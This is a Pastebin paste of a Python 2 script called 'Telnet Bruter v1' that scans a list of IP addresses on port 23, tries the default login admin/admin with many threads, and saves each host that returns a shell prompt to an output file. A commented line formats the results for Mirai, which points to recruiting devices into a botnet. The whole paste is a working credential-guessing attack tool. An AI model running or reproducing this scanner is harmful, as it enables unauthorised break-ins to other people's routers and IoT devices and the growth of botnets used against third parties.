Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Telnet Bruter v1
- # Dr.L0v3
- import threading, sys, os, re, time, socket
- from Queue import *
- from sys import stdout
- if len(sys.argv) < 4:
- print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
- sys.exit()
- ips = open(sys.argv[1], "r").readlines()
- threads = int(sys.argv[2])
- output_file = sys.argv[3]
- queue = Queue()
- username = "admin" #user
- password = "admin" #pass
- queue_count = 0
- for ip in ips:
- queue_count += 1
- stdout.write("\r[%d] Added to queue" % queue_count)
- stdout.flush()
- queue.put(ip)
- print "\n"
- def readUntil(tn, string, timeout=8):
- buf = ''
- start_time = time.time()
- while time.time() - start_time < timeout:
- buf += tn.recv(2048)
- time.sleep(0.01)
- if string in buf: return buf
- raise Exception('TIMEOUT!')
- def w():
- try:
- while True:
- try:
- IP = queue.get()
- st4rt = brute(IP)
- st4rt.start()
- queue.task_done()
- time.sleep(0.02)
- except:
- print "[*] THREAD UNABLE TO START" #may spam if finished
- pass
- except:
- pass
- class brute(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- try:
- try:
- tn = socket.socket()
- tn.settimeout(5)
- tn.connect((self.ip,23))
- except Exception:
- tn.close()
- try:
- hoho = ''
- time.sleep(0.01)
- hoho += readUntil(tn, ":")
- if "ogin" in hoho and "User Access" not in hoho and "Copyright" not in hoho and "*" not in hoho and "+" not in hoho and "Authentification" not in hoho and "Enter password>" not in hoho and "Huawei Technologies" not in hoho and "Copyright(c)" not in hoho:
- tn.send(username + "\n")
- time.sleep(0.1)
- except Exception:
- tn.close()
- try:
- hoho = ''
- hoho += readUntil(tn, ":")
- if "assword" in hoho:
- tn.send(password + "\n")
- time.sleep(0.2)
- except Exception:
- tn.close()
- try:
- prompt = ''
- prompt += tn.recv(40960)
- if "Incorrect" in prompt or "User Access" in prompt or "Login failed" in prompt or "Login invalid." in prompt or "connection closed by" in prompt or "bad" in prompt or "Bad" in prompt or "###" in prompt or "##" in prompt or "invalid" in prompt or "incorrect" in prompt or "denied" in prompt or "failed" in prompt or "**" in prompt or "rong" in prompt or "Invalid password entered" in prompt:
- tn.close()
- else:
- if "%" in prompt or "$" in prompt or "#" in prompt or ">" in prompt:
- print "[!] FOUND LOGIN %s!"%(self.ip)
- os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"") # 1.1.1.1:user:pass # regular
- #os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
- tn.close()
- except Exception:
- tn.close()
- except:
- pass
- for l in xrange(threads):
- try:
- t = threading.Thread(target=w)
- t.start()
- time.sleep(0.002)
- except:
- print "[-] FAILED TO START WORKER THREAD"
- pass
Advertisement
Add Comment
Please, Sign In to add comment